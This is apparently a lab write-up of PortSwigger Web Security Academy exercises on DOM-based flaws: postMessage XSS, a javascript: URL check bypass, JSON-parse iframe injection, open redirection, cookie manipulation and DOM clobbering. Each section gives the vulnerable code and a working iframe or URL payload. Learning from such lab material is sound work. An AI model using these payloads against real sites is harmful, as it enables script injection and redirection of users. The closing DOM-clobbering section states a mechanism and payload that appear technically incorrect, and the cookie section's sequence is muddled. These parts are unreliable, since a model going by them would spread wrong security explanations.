DOM-based vulnerabilities
DOM Based XSS via Misconfigured postMessage() Function
The application insecurely injects user-supplied data (e.data
) into the DOM using innerHTML
without validation or sanitization, leading to DOM-based XSS. The attacker uses postMessage
to inject an image tag with an onerror
handler that triggers JavaScript execution.
Vulnerablae Function
<script>
window.addEventListener('message', function(e) {
document.getElementById('ads').innerHTML = e.data;
})
</script>
Sending malicious payload to the target
<iframe src="https://0abe000f03ab5cf1843519c100490025.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=x onerror=print()>','*') "></iframe>
DOM XSS using web messages and a JavaScript URL
The script checks for the presence of http:
or https:
in the message string, but doesn’t validate the full protocol. By sending javascript:print()//http:
, the attacker bypasses the check and causes a redirect to a javascript:
URI, triggering code execution.
Vulnerable Function
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);
</script>
Sending malicious payload to the target
<iframe src="https://0a1600890338b19e84f0e1fa009d001f.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:print()//http:','*')">
DOM XSS using web messages and JSON-parse
The application accepts JSON via postMessage
and sets the src
attribute of a dynamically created iframe without validating the URL. Although javascript:
URIs are typically blocked in iframes, some older browsers or misconfigurations might still execute the JavaScript.
Vulnerable function:
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script>
Sending malicious Payload:
<iframe src="https://0a3900e503cd089582c11aa600800027.web-security-academy.net/" onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
DOM-Based Open Redirection Vulnerability
Vulnerable function
<a href='#' onclick='returnUrl = /url=(https?:\/\/.+)/.exec(location); location.href = returnUrl ? returnUrl[1] : "/"'>Back to Blog</a>
This code extracts a
url
parameter from the current URL using a regular expression.If a match is found, it redirects the user to that external URL using
location.href
.If not, it redirects to the homepage (
/
).
Payload
https://example.com/post?postId=5&url=https://exploit-0a89005e03964aec80441b2f01b70064.exploit-server.net/exploit
DOM-based cookie manipulation
Vulnerable Function
<script>
document.cookie = 'lastViewedProduct=' + window.location + '; SameSite=None; Secure'
</script>
The script sets a cookie using the entire
window.location
as its value.If the attacker injects a payload into the URL, it becomes part of the HTML DOM when the page renders.
This cookie value is later embedded into an anchor tag (
<a>
) directly in the HTML, without escaping it properly.
Injected via query param:
<a href='https://0a1a0071045910438020129900a1009c.web-security-academy.net/product?productId=2'>Last viewed product</a><p>|</p>
Which becomes:
&data='><script>alert(1)</script>'
This breaks the tag and injects the script.
Final Exploit PoC:
<iframe src="https://0a1a0071045910438020129900a1009c.web-security-academy.net/product?productId=1&data=%27%3E%3Cscript%3Eprint()%3C/script%3E%27" onload="this.src='https://0a1a0071045910438020129900a1009c.web-security-academy.net/'"></iframe>
DOM-Based XSS via DOM Clobbering
Vulnerable Code
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'};
let avatarImgHTML = '<img class="avatar" src="' + defaultAvatar.avatar + '">';
divImgContainer.innerHTML = avatarImgHTML;
The application checks if window.defaultAvatar
exists. If not, it falls back to a default object containing an image path.
However, the script does not validate whether window.defaultAvatar
is a safe object. An attacker can take advantage of this by injecting a DOM element like:
<a id="defaultAvatar" name="avatar" href="x" onerror="print()" src="x">
This is a technique known as DOM Clobbering, where DOM elements with specific id
or name
attributes can overwrite global JavaScript variables.
As a result:
window.defaultAvatar
now points to the<a>
elementwindow.defaultAvatar.avatar
becomes thename="avatar"
value, which is"x"
Last updated